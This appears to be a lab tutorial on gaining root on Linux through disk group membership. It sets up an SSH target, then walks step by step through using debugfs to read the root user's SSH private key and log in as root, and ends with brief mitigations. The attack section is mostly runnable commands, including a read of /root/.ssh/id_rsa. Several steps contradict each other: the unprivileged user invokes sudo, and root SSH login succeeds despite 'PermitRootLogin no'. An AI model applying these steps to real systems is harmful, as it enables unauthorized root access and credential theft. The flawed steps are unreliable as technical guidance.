Disk Group Privilege Escalation Attack: Step-by-Step

Privilege escalation attacks often exploit misconfigurations to gain unauthorized root access. In this tutorial, we demonstrate a disk-based privilege escalation attack using a Linux system, where improper group permissions and disk access allow a non-root user to gain full administrative rights.


Environment Setup

For this demonstration, we set up the following environment:

  • Target Machine: Kali Linux with IP 192.168.31.38.
  • Service: OpenSSH server.
  • User: CyberSpyNet (added to the disk group).

Steps to Recreate the Attack

1. Configuring the Target Machine

  1. Start by installing and starting the OpenSSH server:
   sudo apt install openssh-server
   sudo systemctl start ssh
  1. Add a new user named CyberSpyNet and assign them to the disk group:
   sudo useradd -m CyberSpyNet
   sudo passwd CyberSpyNet
   sudo usermod -aG disk CyberSpyNet
  1. Modify the SSH configuration file:
  • Edit /etc/ssh/sshd_config:
    bash sudo nano /etc/ssh/sshd_config
  • Update the following parameters:
    PermitRootLogin no RSAAuthentication yes
  • Uncomment the lines to enable the changes.
  1. Restart the SSH service:
   sudo systemctl restart ssh

2. Setting Up Key-Based Authentication

  1. Generate an SSH key pair on the attacker machine:
   ssh-keygen -t rsa -f id_rsa
  1. Log in as CyberSpyNet from the attacker machine:
   ssh CyberSpyNet@192.168.31.38

3. Verifying Disk Group Membership

After logging in, verify that CyberSpyNet is part of the disk group:

id

You should see disk listed in the output.

4. Identifying the Target Partition

Check the disk partitions to identify where the root directory (/) resides:

df -h

In this case, /dev/sda1 is identified as the partition.

5. Using debugfs to Access Sensitive Files

  1. Launch the debugfs utility to interact with the disk:
   sudo debugfs /dev/sda1
  1. Create a temporary directory within the mounted partition:
   mkdir hello
  1. Access and read sensitive files. For instance, retrieve the root user’s SSH private key:
   cat /root/.ssh/id_rsa
  1. Save the private key to your local machine.

6. Gaining Root Access

  1. Change the permissions of the retrieved private key:
   chmod 600 id_rsa
  1. Use the private key to log in as root:
   ssh -i id_rsa root@192.168.31.38

At this point, you have successfully escalated your privileges to root.


Key Observations

  • The disk group allows direct access to raw disk devices, bypassing traditional file system permissions.
  • Sensitive files, like the root user’s SSH key, can be directly accessed and abused for privilege escalation.

Mitigation Strategies

  1. Restrict Disk Group Membership: Ensure only essential administrative users are members of the disk group.
  2. Implement File Access Monitoring: Use tools like auditd to monitor unauthorized access to sensitive files.
  3. Use Mandatory Access Controls: Employ tools like SELinux or AppArmor to restrict raw disk access.
  4. Harden SSH Configuration: Disable unnecessary root access and enforce stronger authentication mechanisms.

Conclusion

The disk group is a double-edged sword—it’s essential for system management but can lead to privilege escalation if misused. By securing group memberships and monitoring sensitive file access, you can protect your systems from such attacks.


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